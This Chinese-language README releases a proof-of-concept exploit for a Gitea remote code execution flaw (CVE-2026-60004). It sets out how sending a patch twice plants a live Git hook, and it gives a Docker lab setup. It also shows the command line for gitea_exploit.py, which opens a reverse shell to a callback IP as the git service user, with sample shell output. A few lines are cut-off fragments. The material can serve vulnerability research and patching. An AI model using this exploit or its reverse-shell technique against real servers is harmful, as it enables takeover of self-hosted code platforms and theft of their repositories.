
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 是 Gitea 中的一个远程代码执行(RCE)漏洞。
diffpatchAPI 使用git apply --cached应用提供的补丁,该操作本应只修改索引,绝不会将文件写入磁盘。 通过两次发送相同的补丁,攻击者强制触发添加/添加冲突,从而引发 Git 的三方合并回退(-3)。该路径会忽略--cached并将文件检出到工作树。 由于临时克隆是裸仓库,其工作树根目录为$GIT_DIR。因此,一个创建可执行hooks/post-index-change的补丁会落地一个实时 Git 钩子,Git 会在下一次索引更新时自动运行该钩子——以 Gitea 服务账户身份执行命令。 该端点需要仓库写入权限,但注册功能默认开启,因此任何能够注册并创建仓库的用户都可以触达该端点。
| 类别 | 版本 |
|---|---|
| 受影响 | Gitea 1.17 ≤ 版本 ≤ 1.27.0 |
| 已修复 | Gitea 1.27.1 或更高版本 |
git)身份执行远程代码构建并运行存在漏洞的 Gitea 环境。注册保持开放,服务器自带 Git 2.32+,该版本启用了攻击所依赖的 -3 回退机制。
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| 前置条件 | 本实验环境中的状态 |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
服务器上的 Git 2.32+(启用 -3) | 2.54 |
| 开放注册 | 已启用(默认) |
| 仓库写入权限 | 通过自行注册的账户获得 |
该漏洞利用由 gitea_exploit.py 全自动完成。只需一个能够创建仓库的账户,它便会创建目标仓库、反复提交相同的补丁,直到 Git 的 -3 回退触发,并通过内置监听器捕获反弹 Shell——无需手动设置、补丁构造或 blob 哈希计算。
# python3 gitea_exploit.py <目标 ip:端口> <回调 ip> [回调端口]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 回退仅在特定的时间窗口内触发,因此脚本会循环执行 创建 → 发送 → 发送,直到捕获成功(默认 25 次尝试)。当某次发送被阻塞时,说明钩子已触发,监听器会将你带入一个以 git 身份运行的 Shell:
[*] 尝试 3/25 -> 发送#1 201, 发送#2 超时 <- 已阻塞(已触发!)
[+] 来自 172.17.0.2:53344 的 Shell -- 输入命令,按 Ctrl-C 退出
uid=1000(git) gid=1000(git) groups=1000(git)
选项:
--no-listen — 使用你自己的外部 nc 捕获 Shell,而非内置监听器--user / --pw / --repo / --branch — 覆盖默认账户和目标仓库DISABLE_REGISTRATION=true)